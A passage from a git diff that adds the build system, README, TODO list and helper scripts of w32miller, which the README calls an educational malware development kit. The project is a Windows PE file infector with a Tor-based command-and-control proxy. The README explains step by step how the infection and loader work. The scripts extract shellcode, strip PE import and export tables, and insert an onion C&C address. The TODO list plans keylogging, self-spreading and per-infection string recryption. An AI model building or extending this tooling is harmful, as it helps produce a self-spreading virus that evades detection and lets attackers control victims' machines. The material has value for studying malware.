+set(MILLER_SRCDIR "${CMAKE_SOURCE_DIR}/source" CACHE INTERNAL "" FORCE) +GetMillerSectionFromInclude("${MILLER_HDRDIR}/xor_strings.h" "DLLSECTION" tmp) +if(NOT tmp) + message(FATAL_ERROR "unable to get miller section name from include file") +endif() +set(MILLER_API_VERSION 1 CACHE INTERNAL "" FORCE) +set(MILLER_SECTION ${tmp} CACHE STRING "default pe32 section name") +set(MILLER_SECTION_ADDRESS 0x40a000 CACHE STRING "sets libw32miller section adr") +set(MILLER_IMAGEBASE 0x10000000 CACHE STRING "default pe32 imagebase") +set(ENABLE_MSG_PIPES OFF CACHE BOOL "use named pipes for communication") +set(BUILD_TESTS OFF CACHE BOOL "build tests executable") +set(BUILD_ALL_TOOLS OFF CACHE BOOL "build decrypter/disasm/loader_decrypt test executables") +set(BUILD_CNCMASTER OFF CACHE BOOL "build the command and control center: master instance") +set(BUILD_CNCPROXY OFF CACHE BOOL "build the command and control center: forwarding proxy instance") +set(ENABLE_IRC OFF CACHE BOOL "enable IRC support (deprecated/obsolete)") +set(HTTP_LOCALHOST OFF CACHE BOOL "client uses localhost as connect back adr instead of web2tor gateways") +set(INFECT_DUMMY OFF CACHE BOOL "malware will ONLY infect dummy.exe in the current working dir") +set(EXTRA_VERBOSE OFF CACHE BOOL "print additional debugging information (_PRE_RELEASE only!)") + +unset(tmp) +GetMillerSectionFromInclude("${MILLER_HDRDIR}/xor_strings.h" "LDRSECTION" tmp) +if(NOT tmp) + message(FATAL_ERROR "unable to get loader section name from include file") +endif() + +set(LOADER_SECTION ${tmp} CACHE STRING "default pe32 loader section name") +set(LOADER_ENDMARKER "0xde,0xad,0xc0,0xde" CACHE STRING "loader endmarker, see include/loader.h, FORMAT must be 0x11,0x22,0x33,0x44,...") +string(REPLACE " " "" LOADER_ENDMARKER ${LOADER_ENDMARKER}) +set(DECRYPTER_X86 decrypter_x86 CACHE INTERNAL "" FORCE) +set(LOADER_X86 loader_x86 CACHE INTERNAL "" FORCE) +set(LOADER_HEADER ${MILLER_HDRDIR_CREATED}/${LOADER_X86}.h CACHE INTERNAL "" FORCE) +set(LOADER_CRYPT ${MILLER_HDRDIR_CREATED}/${LOADER_X86}_crypt.h CACHE INTERNAL "" FORCE) + +if(ENABLE_MSG_PIPES) + set(pipes_defs _USE_PIPES=1) +endif() +set(MILLER_PRE_DEFS "_API_VERSION=${MILLER_API_VERSION}" "_PRE_RELEASE=1" "${pipes_defs}" CACHE INTERNAL "" FORCE) +set(MILLER_DEFS "_API_VERSION=${MILLER_API_VERSION}" "${pipes_defs}" CACHE INTERNAL "" FORCE) +set(LOADERBASE_DEFS _MILLER_IMAGEBASE=${MILLER_IMAGEBASE} _MILLER_SECTION=${MILLER_SECTION} _LDR_SECTION=${LOADER_SECTION} _LOADER_ENDMARKER=${LOADER_ENDMARKER} "" CACHE INTERNAL "" FORCE) + +set(CMAKE_C_FLAGS "-Wall -Wextra -Werror -std=gnu99" CACHE INTERNAL "" FORCE) +set(default_cflags "-Wno-cast-function-type -Wno-implicit-fallthrough -Wno-switch -ffast-math -fno-trapping-math -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -fvisibility=hidden -fomit-frame-pointer -fexpensive-optimizations -Os -static -fdata-sections -ffunction-sections -falign-functions=1 -falign-jumps=1 -falign-loops=1 -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-unroll-loops -fmerge-all-constants -fno-ident -fno-zero-initialized-in-bss" CACHE INTERNAL "" FORCE) +set(default_ldflags "-s -nostdlib -nodefaultlibs -nostartfiles -Wl,--exclude-all-symbols -Wl,--exclude-libs,msvcrt.a -Wl,-e,_start -Wl,--gc-sections -Wl,--strip-all -Qn -Wl,--subsystem,windows -fPIE -Wl,--dynamicbase -Wl,--nxcompat -Wl,-rpath-link,${CMAKE_SOURCE_DIR}/batch/miller_linker_script.ld ${CMAKE_SOURCE_DIR}/batch/miller_linker_script.ld" CACHE INTERNAL "" FORCE) +set(miller_cflags "-fno-builtin -ffreestanding -D_INC_STRING=1 -D_CRT_ALLOCATION_DEFINED=1 -D_MALLOC_H_=1 -D_PROCESSENV_=1 -D_WINCON_=1 -D_STDIO_DEFINED=1" CACHE INTERNAL "" FORCE) + +project(w32miller C) +set(CMAKE_VERBOSE_MAKEFILE ON) +set(CMAKE_RULE_MESSAGES OFF) + +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) + +set(STAMP_DIR ${CMAKE_RUNTIME_OUTPUT_DIRECTORY} CACHE INTERNAL ".stamp files output directory" FORCE) +set(LOADER_HEADER_STAMP ${STAMP_DIR}/.loader-header-build CACHE INTERNAL "" FORCE) +set(LOADER_CRYPT_STAMP ${STAMP_DIR}/.loader-crypt-header-build CACHE INTERNAL "" FORCE) + +file(MAKE_DIRECTORY ${MILLER_HDRDIR_CREATED}) +# build host tools first (hdr_crypt, python modules) +include(CMakeMillerHostTools) +# build CRT, Loader and DLL +include(CMakeMillerBuild) +# build Windows tools +include(CMakeMillerTools) +# build Windows tests +include(CMakeMillerTests) + +# if you are building in-source, this is the same as CMAKE_SOURCE_DIR, otherwise +# this is the top level directory of your build tree +MESSAGE(STATUS "CMAKE_BINARY_DIR........: " ${CMAKE_BINARY_DIR}) + +# if you are building in-source, this is the same as CMAKE_CURRENT_SOURCE_DIR, otherwise this +# is the directory where the compiled or generated files from the current CMakeLists.txt will go to +MESSAGE(STATUS "CMAKE_CURRENT_BINARY_DIR: " ${CMAKE_CURRENT_BINARY_DIR}) + +# this is the directory, from which cmake was started, i.e. the top level source directory +MESSAGE(STATUS "CMAKE_SOURCE_DIR........: " ${CMAKE_SOURCE_DIR}) + +# this is the directory where the currently processed CMakeLists.txt is located in +MESSAGE(STATUS "CMAKE_CURRENT_SOURCE_DIR: " ${CMAKE_CURRENT_SOURCE_DIR}) + +# contains the full path to the top level directory of your build tree +MESSAGE(STATUS "PROJECT_BINARY_DIR......: " ${PROJECT_BINARY_DIR}) + +# contains the full path to the root of your project source directory, +# i.e. to the nearest directory where CMakeLists.txt contains the PROJECT() command +MESSAGE(STATUS "PROJECT_SOURCE_DIR......: " ${PROJECT_SOURCE_DIR}) + +# this is the complete path of the cmake which runs currently (e.g. /usr/local/bin/cmake) +MESSAGE(STATUS "CMAKE_COMMAND...........: " ${CMAKE_COMMAND}) + +# this is the CMake installation directory +MESSAGE(STATUS "CMAKE_ROOT..............: " ${CMAKE_ROOT}) + +# the complete system name, e.g. "Linux-2.4.22", "FreeBSD-5.4-RELEASE" or "Windows 5.1" +MESSAGE(STATUS "CMAKE_SYSTEM............: " ${CMAKE_SYSTEM}) + +# the short system name, e.g. "Linux", "FreeBSD" or "Windows" +MESSAGE(STATUS "CMAKE_SYSTEM_NAME.......: " ${CMAKE_SYSTEM_NAME}) + +# is TRUE on all UNIX-like OS's, including Apple OS X and CygWin +if(UNIX) + MESSAGE(STATUS "UNIX....................: " ${UNIX}) +endif() + +# WIN32 is TRUE on Windows (including CygWin) +# MINGW is TRUE for all mingw toolchains (mingw, mingw64) +if(NOT WIN32 OR NOT MINGW) + MESSAGE(FATAL_ERROR "Miller requires a *FULL* mingw64 toolchain! ${ERR_DEPS_FIRST}") +endif() +MESSAGE(STATUS "WIN32...................: " ${WIN32}) + +# is TRUE when using the MinGW compiler in Windows +MESSAGE(STATUS "MINGW...................: " ${MINGW}) + +# If set, runtime paths are not added when using shared libraries. Default it is set to OFF +MESSAGE(STATUS "CMAKE_SKIP_RPATH........: " ${CMAKE_SKIP_RPATH}) + +# set this to true if you are using makefiles and want to see the full compile and link +# commands instead of only the shortened ones +MESSAGE(STATUS "CMAKE_VERBOSE_MAKEFILE..: " ${CMAKE_VERBOSE_MAKEFILE}) + +# A simple way to get switches to the compiler is to use ADD_DEFINITIONS(). +# But there are also two variables exactly for this purpose: + +# the compiler used for C files +MESSAGE(STATUS "CMAKE_C_COMPILER........: " ${CMAKE_C_COMPILER}) +MESSAGE(STATUS "CMAKE_LINKER............: " ${CMAKE_LINLER}) + +# if the compiler is a variant of gcc, this should be set to 1 +MESSAGE(STATUS "CMAKE_COMPILER_IS_GNUCC.: " ${CMAKE_COMPILER_IS_GNUCC}) + +# the tools for creating libraries +MESSAGE(STATUS "CMAKE_AR................: " ${CMAKE_AR}) +MESSAGE(STATUS "CMAKE_RANLIB............: " ${CMAKE_RANLIB}) +MESSAGE(STATUS "CMAKE_OBJCOPY...........: " ${CMAKE_OBJCOPY}) + +# nasm +MESSAGE(STATUS "NASM....................: " ${NASM}) + +# default (C|LD)flags +MESSAGE(STATUS "CMAKE CFLAGS............: " ${CMAKE_C_FLAGS}) +if(CMAKE_LD_FLAGS) + MESSAGE(STATUS "CMAKE LDFLAGS...........: " ${CMAKE_LD_FLAGS}) +endif() +MESSAGE(STATUS "DEFAULT CFLAGS..........: " ${default_cflags}) +MESSAGE(STATUS "DEFAULT LDFLAGS.........: " ${default_ldflags}) +# miller output +MESSAGE(STATUS "MILLER CFLAGS...........: " ${miller_cflags}) +MESSAGE(STATUS "MILLER SECTION..........: " ${MILLER_SECTION}) +MESSAGE(STATUS "LOADER SECTION..........: " ${LOADER_SECTION}) +MESSAGE(STATUS "ENDMARKER...............: " ${LOADER_ENDMARKER}) +MESSAGE(STATUS "LOADERBASE DEFS.........: " ${LOADERBASE_DEFS}) +MESSAGE(STATUS "MILLER DEFS.............: " ${MILLER_DEFS}) +MESSAGE(STATUS "MILLER PRE DEFS.........: " ${MILLER_PRE_DEFS}) +string(REPLACE ";" ", " DISTORM_SRC_OUT "${DISTORM_SRC}") +string(REPLACE ";" ", " MILLER_SRC_OUT "${MILLER_SRC}") +string(REPLACE ";" ", " TESTS_SRC_OUT "${TESTS_SRC}") +MESSAGE(STATUS "DISTORM SOURCES.........: " ${DISTORM_SRC_OUT}) +MESSAGE(STATUS "MILLER SOURCES..........: " ${MILLER_SRC_OUT}) +MESSAGE(STATUS "CRT, LOADER, DECRYPTER..: " ${CRT_X86_SRC} ", " ${LOADER_X86_SRC} ", " ${DECRYPTER_X86_SRC}) +MESSAGE(STATUS "TESTS SOURCES...........: " ${TESTS_SRC_OUT}) +MESSAGE(STATUS "BUILD CNCMASTER.........: " ${BUILD_CNCMASTER}) +MESSAGE(STATUS "BUILD CNCPROXY..........: " ${BUILD_CNCPROXY}) + +if(NOT DISTORM_SRC OR NOT MILLER_SRC OR NOT TESTS_SRC) + MESSAGE(FATAL_ERROR "Some sources are missing: Maybe changed some CMake scripts at the wrong place?") +endif() +if(NOT CRT_X86_SRC) + MESSAGE(FATAL_ERROR "${CRT_X86} missing") +endif() +if(NOT LOADER_X86_SRC) + MESSAGE(FATAL_ERROR "${LOADER_X86} missing") +endif() +if(NOT DECRYPTER_X86_SRC) + MESSAGE(FATAL_ERROR "${DECRYPTER_X86} missing") +endif() + +MESSAGE(STATUS "Performing Compilation Tests ..") +CompileCSource("int main(void) { return 0; }" DC_RESULT "${CMAKE_C_FLAGS} ${default_cflags}" "" "" "" TRUE) +CompileCSource("int main(void) { return 0; }" DLD_RESULT "${CMAKE_C_FLAGS} ${default_cflags} ${default_ldflags}" "" "" "" TRUE) +CompileCSource("int main(void) { return 0; }" EDLD_RESULT "${CMAKE_C_FLAGS} ${default_cflags} ${miller_cflags} ${default_ldflags}" "" "" "" TRUE) +if(NOT DC_RESULT OR NOT DLD_RESULT OR NOT EDLD_RESULT) + MESSAGE(FATAL_ERROR "Some compiler/linker flags are not accepted by your compiler/linker. ${ERR_DEPS_FIRST}") +endif() diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..8b9f888 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,2 @@ +<b>segfault</b><br /> +<b>lns</b><br /> @@ -0,0 +1,28 @@ +You need the following dependencies to run `makedeps.sh` successfully: + required: coreutils, wget, tar, gzip, bzip2, patch, cmake, make, + binutils, gcc, g++, autoconf, automake, flex, bison, texinfo, zlib + + Host TOR (HiddenService): + libevent, openssl + + Mingw TOR (LibTor): + perl + +On debian you can install them with: + `sudo apt-get install coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev` + + Host TOR (HiddenService): + `sudo apt-get install libevent-dev libssl-dev` + + Mingw TOR (LibTor): + `sudo apt-get install perl` + +On archlinux: + `sudo pacman -Syu coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo zlib` + + Host TOR (HiddenService): + `sudo pacman -Syu libevent openssl` + + Mingw TOR (LibTor): + `sudo pacman -Syu perl` + @@ -0,0 +1 @@ +NOT FOR FREE DISTRIBUTION!
\ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9ceefb --- /dev/null +++ b/README.md @@ -0,0 +1,127 @@ +abstract +======== +The project emerged during my studies. <br /> +It is basicially a showcase demonstration how malware works in generel. <br /> +How the infection process and command&control infrastructure works in particular. <br /> +However, as I never had the time to finished it (and presumably lost focus), it is still premature. So please see this project as a demonstration showcase and not as a finished copy-pasta-ready development framework. <br /> +As this project was written by an unexperienced and fault-tolerant student, the code looks ugly w/ limited readability, missing documentation and may crash at any time. <br /> +<br /> + +w32miller +======== +An educational malware development kit or my preferable abbreviation: **mdk**. <br /> +Only x86 architectures are supported at the moment. Most of the code is written in C, porting it to other architecture isn't wizardry. <br /> +The more complex parts are the assembler sources, which are tied to x86. Porting the loader to x64 may cause some headaches. <br /> +It's name was derived from [Chaim Miller](https://www.imdb.com/title/tt4591236/), the real Inglourious Basterd. <br /> +Why did I choose that name you may ask. Long story - to make it short: I love his attitude! <br /> +Used languages: <b>Bash</b>, <b>CMake</b>, <b>ASM-x86</b>, <b>C</b>, <b>Go</b>, <b>Python</b> <br /> +<br /> + +build +======== +As my favourite platforms are (Arch|Debian) based, the whole config&build process was designed to work on those platforms. <br /> +Other build environments may not produce the desired results. <br /> +The following commands should only be run once. <br /><br /> +## Pre-Requirements (debian) <br /> +`sudo apt-get install g++ gcc autoconf automake flex bison texinfo cmake` <br /> +See <b>INSTALL</b> for more information. <br /> +<br /> +## Build miller toolchain <br /> +`./deps/makedeps.sh N` (where N is the number of simultaneous build jobs, default: 1)<br /> +It will download/extract/compile basic developer tools (python-2.7.18, nasm-2.12.02, binutils-2.31.1, gcc-8.2.0, mingw-w64-v6.0.0) <br /> +The Toolchain build is necessary, because we will probably use a patched gcc in the future. <br /> +<b>WARNING</b>: The project may neither compile nor work with other toolchain combinations! <br /> +<br /> +## Configure project <br /> +`cd /path/to/project` <br /> +`mkdir build && cd build` <br /> +`cmake -DBUILD_ALL_TOOLS=ON -DBUILD_CNCPROXY=ON -DBUILD_TESTS=ON -DEXTRA_VERBOSE=ON -DHTTP_LOCALHOST=ON -DINFECT_DUMMY=ON ..`<br /> +<br /> +## Build project <br /> +`make -jN` (where N is the number of simultaneous build jobs) <br /> +<br /> +To install all generated binaries use: `make install DESTDIR=[PATH]` <br /> +<br /> +## Try it! <br /> +There are a several ways to tryout this project. <br /> +If you want a basic CNC communication you should start the cncproxy first with: `[BUILD_DIR]/host-tools/cncproxy-host` <br /> + 1. `cd [BUILD_DIR]/bin` + 2. `wine loader_base.exe` (<b>PART</b> encrypted binary) <br /> + 3. <b>OR</b> `wine loader_base_enc.exe` (<b>FULL</b> encrypted binary) <br /> + 4. run `wine dummy.exe 120` which should now be infected and try to contact the CNC service <br /> +Other intresting executables: <br /> + * `wine runbin.exe libw32miller_pre-shared.dll` <br /> + * `wine runbin.exe libw32miller-shared.dll` <br /> + * `wine runbin.exe bin/w32miller_pre.bin` <br /> + * `wine runbin.exe bin/w32miller.bin` <br /> +<br /> +Test Windows Portable Executable compliance: <br /> + * `wine loadmodule.exe bin/libw32miller_pre-shared.dll` <br /> + * `wine loadmodule.exe bin/libw32miller-shared.dll` <br /> +UNIT tests: <br /> + * `wine tests.exe` <br /> +<br /> +Or use a virtual machine and run it there. (e.g. VirtualBox) <br /> +<br /> +This is an educational mdk only: It tries to infect <b>one</b> windows pe binary named <b>dummy.exe</b> in your current working directory. <br /> +<br /> +<b>WARNING</b>: It is highly recommended to use a VM like <b>virtualbox</b>. Otherwise you should install <b>wine</b>. <br /> + +features +======== + - patched mingw64 toolchain (and build script) <br /> + - tor and patched libtor support <br /> + - minimal x86/x64 disassembler/patcher <br /> + - pe code/data injector <br /> + - command&control communication (http-web2tor/irc; replaced by libtor in the future) <br /> + - python bottle based c&c service <br /> +<br /> + +how it works +======== +DLL (infect): <br /> + 1. DLL adds loader section to target (default: .minit) <br /> + 2. DLL adds own section to target (default: .miller) <br /> + 3. DLL sets const data in loader <br /> + 4. DLL copies the loader to its section <br /> + 5. DLL copies itself to its very own section <br /> + 6. DLL injects FAR JUMP somewhere near the EntryPoint RVA and set the operand to the loader VA <br /> +<br /> +An infected file: <br /> + 1. somewhere near the Address of EntryPoint RVA it calls the loader entry address <br /> +<br /> +LOADER: <br /> + 1. decrypt strings <br /> + 2. get some function pointers/data <br /> + 3. copy encrypted DLL section to temporary allocated buffer <br /> + 4. decrypt DLL if encrypted and read PE header <br /> + 5. allocate memory for image sections <br /> + 6. copy sections from (parsed/plain PE file) temp buffer to final destinations <br /> + 7. do fixups if image relocation is necessary <br /> + 8. jump to the CRT <br /> +<br /> +CRT (part of DLL): <br /> + 1. does minimal initializing <br /> + 2. check if started by loader (and set data/register as needed) <br /> + 3. setup function parameter <br /> + 4. call real dll entry function _main(...) <br /> + 5. start some threads e.g. infection/network thread + 6. cleanup stack <br /> + 7. return to the loader <br /> +<br /> +LOADER: <br /> + 9. cleanup and jump back right after where we were injected <br /> +<br /> + +Command'n'Control (<b>CNC</b>) +======== +The Go written CNC proxy which acts as man-in-the-middle between an infected binary and CNC master. <br /> +CNC proxy does the basic authentication and receives commands from the CNC master. <br /> +Keep in mind that this part of the project is the most ALPHA'ic one. <br /> +So the cncmaster does not do anything useful at the moment. <br /> +For a very basic test, the cncproxy is sufficient. <br /> +<br /> + +Documentation (coming soon) +======== + @@ -0,0 +1,18 @@ +[TODO] + +1. finish cncproxy/cncmaster in a way that they send commands to an infected machine and receive the output + * cncmaster sends commands to cncproxy, which forwards it to the target(s) + * target(s) send command output to cncproxy, which forwards it to the cncmaster + +2. more machine information gathering (keylogger/screenshots) +3. Set/Check and use Loader Flags (see loader.h) +4. recrypt strings on every new infected binary +5. hdrcrypt: use 8 byte key and pad strings less than 8 byte (random bytes after NUL) +6. spreading (local/usb/net) +7. use named shared memory segment for ipc on local machine + +8. replace __xultoa with mini_itoa !? +9. packing/unpacking + +last but not least: + - make use of _API_VERSION macro diff --git a/batch/genChangelog.sh b/batch/genChangelog.sh new file mode 100755 index 0000000..8388162 --- /dev/null +++ b/batch/genChangelog.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# Author: Andrey Nikishaev, Gunnar Lindholm +# From: http://stackoverflow.com/questions/7387612/git-changelog-how-to-get-all-changes-up-to-a-specific-tag +echo "CHANGELOG" +echo ---------------------- +git for-each-ref --sort='*authordate' --format='%(tag)' refs/tags |tac |grep -v '^$' | while read TAG ; do + echo + if [ $NEXT ];then + echo [$NEXT] + else + echo "[Current]" + fi + GIT_PAGER=cat git log --no-merges --format=" * %s" $TAG..$NEXT + NEXT=$TAG +done +FIRST=$(git tag -l | head -1) +echo +echo [$FIRST] +GIT_PAGER=cat git log --no-merges --format=" * %s" $FIRST diff --git a/batch/genPatchFromDirs.sh b/batch/genPatchFromDirs.sh new file mode 100755 index 0000000..b27dd18 --- /dev/null +++ b/batch/genPatchFromDirs.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +if [ $# -ne 2 ]; then + printf "usage: %s [ORIG-DIR] [MODF-DIR]\n" "$0" + exit 1 +fi + +set -e + +NAME="$(basename $0)" +ORIG="$(basename $1)" +MODF="$(basename $2)" +CHDIR="$(dirname $1)" +TMPFILE="$(mktemp)" + +cd ${CHDIR} + +ret=0 +diff -Naur ${ORIG} ${MODF} >${TMPFILE} || ret=$? +if [ $ret -ne 1 ]; then + printf "%s: %s\n" "${NAME}" "No diffs found." + exit 1 +fi + +ret=0 +command -v filterdiff >/dev/null 2>/dev/null || ret=$? +if [ $ret -eq 0 ]; then + filterdiff --remove-timestamps ${TMPFILE} >${MODF}.patch +else + printf "%s: %s\n" "${NAME}" "Command \`filterdiff\` not found. Can not remove timestamps from patch" + mv ${TMPFILE} ${MODF}.patch +fi + +printf "%s: %s\n" "${NAME}" "Generated ${CHDIR}/${MODF}.patch" diff --git a/batch/genShellcode.py b/batch/genShellcode.py new file mode 100755 index 0000000..7ec9add --- /dev/null +++ b/batch/genShellcode.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python2.7 + +import sys +import os +import re +import subprocess +from optparse import OptionParser, OptionGroup + + +objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump' +objdmp_args = '-z -D -j %s %s' +bname = os.path.basename(sys.argv[0]) + + +def objdump_section(section, binary): + full_cmd = str(objdmp_bin)+' '+(str(objdmp_args) % (section,binary)) + p = subprocess.Popen(full_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + repat = re.compile(r'^(?:\s+[0-9A-Fa-f]+:\s+)(([0-9A-Fa-f]{2}\s{1})+)') + insts = 0 + scode = bytearray() + p.wait() + if p.returncode != 0: + sys.stderr.write(bname + ': objdump command failed with %d: %s\n' % (p.returncode, full_cmd)) + sys.exit(1) + for line in p.stdout.readlines(): + r = repat.match(line) + if r: + insts += 1 + insthex = str(r.group(1)) + for byte in str(insthex).split(' '): + if len(byte) == 2: + scode += str(byte).decode('hex') + elif len(byte) != 0: + raise TypeError('Invalid byte in hex str: ' + str(byte)) + return (scode, insts) + +def gen_cstr(bytebuf): + cstr = str() + for byte in bytebuf: + cstr += '\\x'+str(hex(byte))[2:].zfill(2) + return cstr + +def write_header(path, dpref, cstr, csiz, insts): + with open(path, 'a+b') as out_hdr: + outstr = \ + '#undef {0}\n' \ + '#undef {0}_SIZE\n' \ + '#undef {0}_INSTS\n\n' \ + '#define {0} "{1}"\n' \ + '#define {0}_SIZE {2}\n' \ + '#define {0}_INSTS {3}\n\n\n'.format(dpref, cstr, csiz, insts) + out_hdr.write(outstr) + out_hdr.flush() + +# example: genShellcode.py --section=.minit --binary=lib/libloader_x86.a --define-prefix=LOADER_SHELLCODE --file=include/loader_x86.h +if __name__ == '__main__': + parser = OptionParser() + parser.add_option('-o', '--objdump', dest='objdmp_bin', default=objdmp_bin, + help='path to objdump binary [default: %default]') + parser.add_option('-s', '--section', dest='section', help='target section which shellcode will be extracted [required]') + parser.add_option('-b', '--binary', dest='binary', help='target binary which we want extract shellcode from [required]') + parser.add_option('-d', '--define-prefix', + dest='prefix', help='set #define prefix name [required]') + parser.add_option('-f', '--file', dest='file', help='set output header file [required]') + (options, args) = parser.parse_args() + + doAbort = False + if options.section is None: + sys.stderr.write(bname + ': Target section is required.\n') + doAbort = True + if options.binary is None: + sys.stderr.write(bname + ': Target binary is required.\n') + doAbort = True + if options.prefix is None: + sys.stderr.write(bname + ': A `#define` prefix is required.\n') + doAbort = True + if options.file is None: + sys.stderr.write(bname + ': A output header filename is required.\n') + doAbort = True + + if doAbort is True: + sys.exit(1) + + (shellcode, instructions) = objdump_section(options.section, options.binary) + cstr = gen_cstr(shellcode) + write_header(options.file, options.prefix, cstr, len(shellcode), instructions) + + sys.exit(0) diff --git a/batch/gpgEncryptProject.sh b/batch/gpgEncryptProject.sh new file mode 100755 index 0000000..c8a8615 --- /dev/null +++ b/batch/gpgEncryptProject.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +set -e + +GEN_PASSWD=0 +if [ $(command -v date 2>&1) != "" -a \ + $(command -v sha256sum 2>&1) != "" -a \ + $(command -v base64 2>&1) != "" -a \ + $(command -v head 2>&1) != "" ]; then + echo "$0: generating random passphrase" + GEN_PASSWD=1 +fi +#date +%s | sha256sum | base64 | head -c 40 ; echo + + +file="$(dirname $0)/../bin/w32miller.tar.gz" +mkdir -p "$(dirname ${file})" + +git archive --prefix 'w32miller/' -o ${file} HEAD +if [ ${GEN_PASSWD} -eq 1 ]; then + PASSPHRASE=$(date +%s | sha256sum | base64 | head -c 40) + gpg --cipher-algo AES256 --yes --passphrase "${PASSPHRASE}" -a -c ${file} +else + gpg --cipher-algo AES256 -a -c ${file} +fi + +if [ $(command -v wipe 2>&1) != "" ]; then + wipe -q -f ${file} +fi + +echo "$0: generated armored gpg symmetric encrypted file: ${file}" +if [ ! -z "${PASSPHRASE}" ]; then + echo "$0: PASSPHRASE: ${PASSPHRASE}" +fi diff --git a/batch/millerCncOnionHost.sh b/batch/millerCncOnionHost.sh new file mode 100755 index 0000000..e01d6b0 --- /dev/null +++ b/batch/millerCncOnionHost.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +set -e + +TORHFILE=/var/lib/tor/hidden_service/hostname +DEST="$(dirname $0)/../deps/sysroot/${TORHFILE}" +DEFINE="HTTP_ONION" + +if [ $# -ne 1 ]; then + echo -e "usage: $0 [INCLUDE-FILE]\n\te.g. $0 $(realpath $(dirname $0)/../include/xor_strings.h)" >&2 + exit 1 +fi + +if [ -r "${DEST}" ]; then + DEST=$(realpath "${DEST}") + echo "$0: TOR Hidden Service hostname file: ${DEST} -> $(cat ${DEST})" >&2 + CURR_HOST=$(sed -n 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/\1/p' ${1}) + WANT_HOST=$(cat ${DEST} | cut -d'.' -f1) + if [ "${CURR_HOST}" = "${WANT_HOST}" ]; then + echo "$0: WARNING: ${DEFINE} is already the same: ${CURR_HOST} == ${WANT_HOST}" >&2 + exit 0 + fi + sed -i 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/#define '${DEFINE}' "'$(cat ${DEST} | cut -d'.' -f1)'"/' ${1} +else + echo "$0: WARNING: ${DEST} not FOUND !" >&2 +fi diff --git a/batch/millerSectionFromInclude.sh b/batch/millerSectionFromInclude.sh new file mode 100755 index 0000000..3b24afa --- /dev/null +++ b/batch/millerSectionFromInclude.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +set -e + +DEST="${1}" +DEFN="${2}" + +if [ -z "${DEST}" -o -z "${DEFN}" ]; then + echo "usage: $0 [INCLUDE-FILE] [INCLUDE-DEFINITION]" >&2 + false +fi + +test -r ${DEST} +OUTPUT=$(cat ${DEST} | sed -n 's/#define\s\+'"${DEFN}"'\s\+"\(.*\)"$/\1/p') +echo -n ${OUTPUT} diff --git a/batch/miller_linker_script.ld b/batch/miller_linker_script.ld new file mode 100644 index 0000000..05dc682 --- /dev/null +++ b/batch/miller_linker_script.ld @@ -0,0 +1,88 @@ +OUTPUT_FORMAT(pei-i386) +SECTIONS +{ + /* w32miller default linker script */ + /* Make the virtual address and file offset synced if the alignment is + lower than the target page size. */ + . = SIZEOF_HEADERS; + . = ALIGN(__section_alignment__); + .text __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) : SUBALIGN(0x0) + { + __text_start__ = . ; + *(.text) + *(.text$*) + *(.text.*) + *(.rdata) + *(.rdata$*) + *(.rdata.*) + + __rt_psrelocs_start = .; + *(.rdata_runtime_pseudo_reloc) + __rt_psrelocs_end = .; + + __text_end__ = . ; + } + + /* .data BLOCK(__section_alignment__) : */ + .data . : SUBALIGN(0x0) + { + __data_start__ = . ; + *(.data) + *(.data2) + *(.data$*) + *(.jcr) + *(.bss) + *(COMMON) + __data_end__ = . ; + } + + __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start; + ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + __RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + + /DISCARD/ : + { + *(.init) + *(.etext) + *(._etext) + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + *(.note.GNU-stack) + *(.gnu.lto_*) + *(.pdata) + *(.eh_frame*) + *(.crt) + *(.CRT$XC*) /* C initialization */ + *(.CRT$XI*) /* C++ initialization */ + *(.CRT$XL*) /* TLS callbacks */ + *(.CRT$XP*) /* Pre-termination */ + *(.CRT$XT*) /* Termination */ + *(.tls) + *(.tls$AAA) + *(.tls) + *(.tls$) + *(.tls$ZZZ) + *(.rsrc) + *(.rsrc$*) + *(.stab) + *(.stabstr) + *(.debug_*) + *(.zdebug_*) + } + .endjunk BLOCK(__section_alignment__) : + { + /* end is deprecated, don't use it */ + PROVIDE (end = .); + PROVIDE ( _end = .); + __end__ = .; + } + + .reloc : SUBALIGN(0x0) + { + *(.reloc) + } +} diff --git a/batch/nullDataDirs.py b/batch/nullDataDirs.py new file mode 100755 index 0000000..02e8576 --- /dev/null +++ b/batch/nullDataDirs.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os + +def main(argv): + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + buf[0xF8:0x100] = '\x00' * (0x100-0xF8) # export table + buf[0x100:0x108] = '\x00' * (0x108-0x100) # import table + with open(argv[0], "wb") as fout: + fout.write(str(buf)) + +if __name__ == "__main__": + if len(sys.argv) < 2: + print os.path.basename(sys.argv[0]) + ' usage: ' + sys.argv[0] + ' [PE-FILE]' + sys.exit(1) + print os.path.basename(sys.argv[0]) + ': NULL\'ing Import/Export Data Directory 